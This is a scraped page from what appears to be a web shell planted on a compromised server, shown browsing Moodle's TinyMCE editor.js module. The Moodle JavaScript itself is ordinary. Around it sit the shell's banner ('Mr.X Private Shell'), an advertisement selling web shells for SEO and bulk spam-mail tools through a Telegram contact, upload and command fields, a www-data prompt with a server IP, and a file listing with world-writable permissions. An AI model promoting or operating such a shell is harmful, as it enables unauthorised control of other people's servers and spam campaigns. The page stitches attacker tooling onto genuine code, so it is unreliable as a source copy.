__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * TinyMCE Editor Manager.
 *
 * @module editor_tiny/editor
 * @copyright  2022 Andrew Lyons <andrew@nicols.co.uk>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

import jQuery from 'jquery';
import Pending from 'core/pending';
import {getDefaultConfiguration, getDefaultQuickbarsSelectionToolbar} from './defaults';
import {getTinyMCE, baseUrl} from './loader';
import * as Options from './options';
import {addToolbarButton, addToolbarButtons, addToolbarSection,
    removeToolbarButton, removeSubmenuItem, updateEditorState} from './utils';
import {addMathMLSupport, addSVGSupport} from './content';

/**
 * Storage for the TinyMCE instances on the page.
 * @type {Map}
 */
const instanceMap = new Map();

/**
 * The default editor configuration.
 * @type {Object}
 */
let defaultOptions = {};

/**
 * Require the modules for the named set of TinyMCE plugins.
 *
 * @param {string[]} pluginList The list of plugins
 * @return {Promise[]} A matching set of Promises relating to the requested plugins
 */
const importPluginList = async(pluginList) => {
    // Fetch all of the plugins from the list of plugins.
    // If a plugin contains a '/' then it is assumed to be a Moodle AMD module to import.
    const pluginHandlers = await Promise.all(pluginList.map(pluginPath => {
        if (pluginPath.indexOf('/') === -1) {
            // A standard TinyMCE Plugin.
            return Promise.resolve(pluginPath);
        }

        return import(pluginPath);
    }));

    // Normalise the plugin data to a list of plugin names.
    // Two formats are supported:
    // - a string; and
    // - an array whose first element is the plugin name, and the second element is the plugin configuration.
    const pluginNames = pluginHandlers.map((pluginConfig) => {
        if (typeof pluginConfig === 'string') {
            return pluginConfig;
        }
        if (Array.isArray(pluginConfig)) {
            return pluginConfig[0];
        }
        return null;
    }).filter((value) => value);

    // Fetch the list of pluginConfig handlers.
    const pluginConfig = pluginHandlers.map((pluginConfig) => {
        if (Array.isArray(pluginConfig)) {
            return pluginConfig[1];
        }
        return null;
    }).filter((value) => value);

    return {
        pluginNames,
        pluginConfig,
    };
};

/**
 * Fetch the language data for the specified language.
 *
 * @param {string} language The language identifier
 * @returns {object}
 */
const fetchLanguage = (language) => fetch(
    `${M.cfg.wwwroot}/lib/editor/tiny/lang.php/${M.cfg.langrev}/${language}`
).then(response => response.json());

/**
 * Get a list of all Editors in a Map, keyed by the DOM Node that the Editor is associated with.
 *
 * @returns {Map<Node, Editor>}
 */
export const getAllInstances = () => new Map(instanceMap.entries());

/**
 * Get the TinyMCE instance for the specified Node ID.
 *
 * @param {string} elementId
 * @returns {TinyMCE|undefined}
 */
export const getInstanceForElementId = elementId => getInstanceForElement(document.getElementById(elementId));

/*
 * Get the TinyMCE instance for the specified HTMLElement.
 *
 * @param {HTMLElement} element
 * @returns {TinyMCE|undefined}
 */
export const getInstanceForElement = element => {
    const instance = instanceMap.get(element);
    if (instance && instance.removed) {
        instanceMap.delete(element);
        return undefined;
    }
    return instance;
};

/**
 * Set up TinyMCE for the selector at the specified HTML Node id.
 *
 * @param {object} config The configuration required to setup the editor
 * @param {string} config.elementId The HTML Node ID
 * @param {Object} config.options The editor plugin configuration
 */
export const setupForElementId = ({elementId, options}) => {
    const target = document.getElementById(elementId);
    // We will need to wrap the setupForTarget and editor.remove() calls in a setTimeout.
    // Because other events callbacks will still try to run on the removed instance.
    // This will cause an error on Firefox.
    // We need to make TinyMCE to remove itself outside the event loop.
    // @see https://github.com/tinymce/tinymce/issues/3129 for more details.
    setTimeout(() => {
        return setupForTarget(target, options);
    }, 1);
};

/**
 * Initialise the page with standard TinyMCE requirements.
 *
 * Currently this includes the language taken from the HTML lang property.
 */
const initialisePage = async() => {
    const lang = document.querySelector('html').lang;

    const [tinyMCE, langData] = await Promise.all([getTinyMCE(), fetchLanguage(lang)]);
    tinyMCE.addI18n(lang, langData);
};
initialisePage();

/**
 * Get the list of plugins to load for the specified configuration.
 *
 * If the specified configuration does not include a plugin configuration, then return the default configuration.
 *
 * @param {object} options
 * @param {array} [options.plugins=null] The plugin list
 * @returns {object}
 */
const getPlugins = ({plugins = null} = {}) => {
    if (plugins) {
        return plugins;
    }

    if (defaultOptions.plugins) {
        return defaultOptions.plugins;
    }

    return {};
};

/**
 * Adjust the editor size base on the target element.
 *
 * @param {TinyMCE} editor TinyMCE editor
 * @param {Node} target Target element
 */
const adjustEditorSize = (editor, target) => {
    let expectedEditingAreaHeight = 0;
    if (target.clientHeight) {
        expectedEditingAreaHeight = target.clientHeight;
    } else {
        // If the target element is hidden, we cannot get the lineHeight of the target element.
        // We don't have a proper way to retrieve the general lineHeight of the theme, so we use 22 here, it's equivalent to 1.5em.
        expectedEditingAreaHeight = target.rows * (parseFloat(window.getComputedStyle(target).lineHeight) || 22);
    }
    const currentEditingAreaHeight = editor.getContainer().querySelector('.tox-sidebar-wrap').clientHeight;
    if (currentEditingAreaHeight < expectedEditingAreaHeight) {
        // Change the height based on the target element's height.
        editor.getContainer().querySelector('.tox-sidebar-wrap').style.height = `${expectedEditingAreaHeight}px`;
    }
};

/**
 * Get the standard configuration for the specified options.
 *
 * @param {Node} target
 * @param {tinyMCE} tinyMCE
 * @param {object} options
 * @param {Array} plugins
 * @returns {object}
 */
const getStandardConfig = (target, tinyMCE, options, plugins) => {
    const lang = document.querySelector('html').lang;

    const config = Object.assign({}, getDefaultConfiguration(), {
        // eslint-disable-next-line camelcase
        base_url: baseUrl,

        // Set the editor target.
        // https://www.tiny.cloud/docs/tinymce/6/editor-important-options/#target
        target,

        // https://www.tiny.cloud/docs/tinymce/6/customize-ui/#set-maximum-and-minimum-heights-and-widths
        // Set the minimum height to the smallest height that we can fit the Menu bar, Tool bar, Status bar and the text area.
        // eslint-disable-next-line camelcase
        min_height: 175,

        // Base the height on the size of the text area.
        // In some cases, E.g.: The target is an advanced element, it will be hidden. We cannot get the height at this time.
        // So set the height to auto, and adjust it later by adjustEditorSize().
        height: target.clientHeight || 'auto',

        // Set the language.
        // https://www.tiny.cloud/docs/tinymce/6/ui-localization/#language
        // eslint-disable-next-line camelcase
        language: lang,

        // Disable default iframe sandboxing.
        // https://www.tiny.cloud/docs/tinymce/latest/content-filtering/#sandbox-iframes
        // eslint-disable-next-line camelcase
        sandbox_iframes: false,

        // Load the editor stylesheet into the editor iframe.
        // https://www.tiny.cloud/docs/tinymce/6/add-css-options/
        // eslint-disable-next-line camelcase
        content_css: [
            options.css,
        ],

        // Do not convert URLs to relative URLs.
        // https://www.tiny.cloud/docs/tinymce/6/url-handling/#convert_urls
        // eslint-disable-next-line camelcase
        convert_urls: false,

        // Enabled 'advanced' a11y options.
        // This includes allowing role="presentation" from the image uploader.
        // https://www.tiny.cloud/docs/tinymce/6/accessibility/
        // eslint-disable-next-line camelcase
        a11y_advanced_options: true,

        // Add specific rules to the valid elements.
        // eslint-disable-next-line camelcase
        extended_valid_elements: options.extended_valid_elements,

        // Disable XSS Sanitisation.
        // We do this in PHP.
        // https://www.tiny.cloud/docs/tinymce/6/security/#turning-dompurify-off
        // Note: This feature has been backported from TinyMCE 6.4.0.
        // eslint-disable-next-line camelcase
        xss_sanitization: false,

        // Disable quickbars entirely.
        // The UI is not ideal and we'll wait for it to improve in future before we enable it in Moodle.
        // eslint-disable-next-line camelcase
        quickbars_insert_toolbar: '',

        // If the target element is too small, disable the quickbars selection toolbar.
        // The quickbars selection toolbar is not displayed correctly if the target element is too small.
        // See: https://github.com/tinymce/tinymce/issues/9693.
        quickbars_selection_toolbar: target.rows > 5 ? getDefaultQuickbarsSelectionToolbar() : false,

        // Override the standard block formats property (removing h1 & h2).
        // https://www.tiny.cloud/docs/tinymce/6/user-formatting-options/#block_formats
        // eslint-disable-next-line camelcase
        block_formats: 'Paragraph=p;Heading 3=h3;Heading 4=h4;Heading 5=h5;Heading 6=h6;Preformatted=pre;Blockquote=blockquote',

        // The list of plugins to include in the instance.
        // https://www.tiny.cloud/docs/tinymce/6/editor-important-options/#plugins
        plugins: [
            ...plugins,
        ],

        // Skins
        skin: 'oxide',

        // Do not show the help link in the status bar.
        // https://www.tiny.cloud/docs/tinymce/latest/accessibility/#help_accessibility
        // eslint-disable-next-line camelcase
        help_accessibility: false,

        // Remove the "Upgrade" link for Tiny.
        // https://www.tiny.cloud/docs/tinymce/6/editor-premium-upgrade-promotion/
        promotion: false,

        // Allow the administrator to disable branding.
        // https://www.tiny.cloud/docs/tinymce/6/statusbar-configuration-options/#branding
        branding: options.branding,

        // Put th cells in a thead element.
        // https://www.tiny.cloud/docs/tinymce/6/table-options/#table_header_type
        // eslint-disable-next-line camelcase
        table_header_type: 'sectionCells',

        // Stored text in non-entity form.
        // https://www.tiny.cloud/docs/tinymce/6/content-filtering/#entity_encoding
        // eslint-disable-next-line camelcase
        entity_encoding: "raw",

        // Enable support for editors in scrollable containers.
        // https://www.tiny.cloud/docs/tinymce/6/ui-mode-configuration-options/#ui_mode
        // eslint-disable-next-line camelcase
        ui_mode: 'split',

        // Enable browser-supported spell checking.
        // https://www.tiny.cloud/docs/tinymce/latest/spelling/
        // eslint-disable-next-line camelcase
        browser_spellcheck: true,

        // Set the license_key to gpl.
        // https://www.tiny.cloud/docs/tinymce/latest/license-key/
        // eslint-disable-next-line camelcase
        license_key: 'gpl',

        // Disable the Alt+F12 shortcut.
        // This was introduced in Tiny 7.1 to focus notifications, but it conflicts with the German keyboard layout
        // which uses Alt+F12 to access the open curly brace.
        // This is an upstream problem with TinyMCE and should be fixed in a future release.
        // The recommended workaround is to disable the shortcut.
        // See MDL-83257 for further information.
        // eslint-disable-next-line camelcase
        init_instance_callback: (editor) => {
            editor.shortcuts.remove('alt+f12');
        },

        setup: (editor) => {
            Options.register(editor, options);

            editor.on('PreInit', function() {
                // Work around a bug in TinyMCE with Firefox.
                // When an editor is removed, and replaced with an identically attributed editor (same ID),
                // and the Firefox window is freshly opened (e.g. Behat, Private browsing), the wrong contentWindow
                // is assigned to the editor instance leading to an NS_ERROR_UNEXPECTED error in Firefox.
                // This is a workaround for that issue.
                this.contentWindow = this.iframeElement.contentWindow;
            });
            editor.on('init', function() {
                // Hide justify alignment sub-menu.
                removeSubmenuItem(editor, 'align', 'tiny:justify');
                // Adjust the editor size.
                adjustEditorSize(editor, target);
            });

            addMathMLSupport(editor);
            addSVGSupport(editor);

            target.addEventListener('form:editorUpdated', function() {
                updateEditorState(editor, target);
            });

            target.dispatchEvent(new Event('form:editorUpdated'));
        },
    });

    config.toolbar = addToolbarSection(config.toolbar, 'content', 'formatting', true);
    config.toolbar = addToolbarButton(config.toolbar, 'content', 'link');

    // Add directionality plugins, always.
    config.toolbar = addToolbarSection(config.toolbar, 'directionality', 'alignment', true);
    config.toolbar = addToolbarButtons(config.toolbar, 'directionality', ['ltr', 'rtl']);

    // Remove the align justify button from the toolbar.
    config.toolbar = removeToolbarButton(config.toolbar, 'alignment', 'alignjustify');

    return config;
};

/**
 * Fetch the TinyMCE configuration for this editor instance.
 *
 * @param {HTMLElement} target
 * @param {TinyMCE} tinyMCE The TinyMCE API
 * @param {Object} options The editor plugin configuration
 * @param {object} pluginValues
 * @param {object} pluginValues.pluginConfig The list of plugin configuration
 * @param {object} pluginValues.pluginNames The list of plugins to load
 * @returns {object} The TinyMCE Configuration
 */
const getEditorConfiguration = (target, tinyMCE, options, pluginValues) => {
    const {
        pluginNames,
        pluginConfig,
    } = pluginValues;

    // Allow plugins to modify the configuration.
    // This seems a little strange, but we must double-process the config slightly.

    // First we fetch the standard configuration.
    const instanceConfig = getStandardConfig(target, tinyMCE, options, pluginNames);

    // Next we make any standard changes.
    // Here we remove the file menu, as it doesn't offer any useful functionality.
    // We only empty the items list so that a plugin may choose to add to it themselves later if they wish.
    if (instanceConfig.menu.file) {
        instanceConfig.menu.file.items = '';
    }

    // We disable the styles, backcolor, and forecolor plugins from the format menu.
    // These are not useful for Moodle and we don't want to encourage their use.
    if (instanceConfig.menu.format) {
        instanceConfig.menu.format.items = instanceConfig.menu.format.items
            // Remove forecolor and backcolor.
            .replace(/forecolor ?/, '')
            .replace(/backcolor ?/, '')

            // Remove fontfamily for now.
            .replace(/fontfamily ?/, '')

            // Remove fontsize for now.
            .replace(/fontsize ?/, '')

            // Remove styles - it just duplicates the format menu in a way which does not respect configuration
            .replace(/styles ?/, '')

            // Remove any duplicate separators.
            .replaceAll(/\| *\|/g, '|');
    }

    if (instanceConfig.quickbars_selection_toolbar !== false) {
        // eslint-disable-next-line camelcase
        instanceConfig.quickbars_selection_toolbar = instanceConfig.quickbars_selection_toolbar.replace('h2 h3', 'h3 h4 h5 h6');
    }

    // Next we call the `configure` function for any plugin which defines it.
    // We pass the current instanceConfig in here, to allow them to make certain changes to the global configuration.
    // For example, to add themselves to any menu, toolbar, and so on.
    // Any plugin which wishes to have configuration options must register those options here.
    pluginConfig.filter((pluginConfig) => typeof pluginConfig.configure === 'function').forEach((pluginConfig) => {
        const pluginInstanceOverride = pluginConfig.configure(instanceConfig, options);
        Object.assign(instanceConfig, pluginInstanceOverride);
    });

    // Next we convert the plugin configuration into a format that TinyMCE understands.
    Object.assign(instanceConfig, Options.getInitialPluginConfiguration(options));

    return instanceConfig;
};

/**
 * Check if the target for TinyMCE is in a modal or not.
 *
 * @param {HTMLElement} target Target to check
 * @returns {boolean} True if the target is in a modal form.
 */
const isModalMode = (target) => {
    return !!target.closest('[data-region="modal"]');
};

/**
 * Set up TinyMCE for the HTML Element.
 *
 * @param {HTMLElement} target
 * @param {Object} [options={}] The editor plugin configuration
 * @return {Promise<TinyMCE>} The TinyMCE instance
 */
export const setupForTarget = async(target, options = {}) => {
    const instance = getInstanceForElement(target);
    if (instance) {
        return Promise.resolve(instance);
    }

    // Register a new pending promise to ensure that Behat waits for the editor setup to complete before continuing.
    const pendingPromise = new Pending('editor_tiny/editor:setupForTarget');

    // Get the list of plugins.
    const plugins = getPlugins(options);

    // Fetch the tinyMCE API, and instantiate the plugins.
    const [tinyMCE, pluginValues] = await Promise.all([
        getTinyMCE(),
        importPluginList(Object.keys(plugins)),
    ]);

    // TinyMCE uses the element ID as a map key internally, even if the target has changed.
    // In the case where we have an editor in a modal form which has been detached from the DOM, but the editor not removed,
    // we need to manually destroy the editor.
    // We could theoretically do this with a Mutation Observer, but in some cases the Node may be moved,
    // or added back elsewhere in the DOM.

    // First remove any detached editors.
    tinyMCE.get().filter((editor) => !editor.getElement().isConnected).forEach((editor) => {
        editor.remove();
    });

    // Now check for any existing editor which shares the same ID.
    const existingEditor = tinyMCE.EditorManager.get(target.id);
    if (existingEditor) {
        if (existingEditor.getElement() === target) {
            pendingPromise.resolve();
            return Promise.resolve(existingEditor);
        } else {
            pendingPromise.resolve();
            throw new Error('TinyMCE instance already exists for different target with same ID');
        }
    }

    // Get the editor configuration for this editor.
    const instanceConfig = getEditorConfiguration(target, tinyMCE, options, pluginValues);

    // Initialise the editor instance for the given configuration.
    // At this point any plugin which has configuration options registered will have them applied for this instance.
    const [editor] = await tinyMCE.init(instanceConfig);

    // Update the textarea when the editor to set the field type for Behat.
    target.dataset.fieldtype = 'editor';

    // Store the editor instance in the instanceMap and register a listener on removal to remove it from the map.
    instanceMap.set(target, editor);
    editor.on('remove', ({target}) => {
        // Handle removal of the editor from the map on destruction.
        instanceMap.delete(target.targetElm);
        target.targetElm.dataset.fieldtype = null;
    });

    // If the editor is part of a form, also listen to the jQuery submit event.
    // The jQuery submit event will not trigger the native submit event, and therefore the content will not be saved.
    // We cannot rely on listening to the bubbled submit event on the document because other events on child nodes may
    // consume the data before it is saved.
    if (target.form) {
        jQuery(target.form).on('submit', () => {
            editor.save();
        });
    }

    // Save the editor content to the textarea when the editor is blurred.
    editor.on('blur', () => {
        editor.save();
    });

    // If the editor is in a modal, we need to hide the modal when window editor's window is opened.
    editor.on('OpenWindow', () => {
        const modals = document.querySelectorAll('[data-region="modal"]');
        if (modals) {
            modals.forEach((modal) => {
                if (!modal.classList.contains('hide')) {
                    modal.classList.add('hide');
                }
            });
        }
    });

    // If the editor's window is closed, we need to show the hidden modal back.
    editor.on('CloseWindow', () => {
        if (isModalMode(target)) {
            const modals = document.querySelectorAll('[data-region="modal"]');
            if (modals) {
                modals.forEach((modal) => {
                    if (modal.classList.contains('hide')) {
                        modal.classList.remove('hide');
                    }
                });
            }
        }
    });

    pendingPromise.resolve();
    return editor;
};

/**
 * Set the default editor configuration.
 *
 * This configuration is used when an editor is initialised without any configuration.
 *
 * @param {object} [options={}]
 */
export const configureDefaultEditor = (options = {}) => {
    defaultOptions = options;
};

Filemanager

Name Type Size Permission Actions
content.js File 4.07 KB 0777
defaults.js File 5.9 KB 0777
editor.js File 22.25 KB 0777
loader.js File 1.88 KB 0777
options.js File 4.12 KB 0777
uploader.js File 4.42 KB 0777
utils.js File 13.16 KB 0777
Filemanager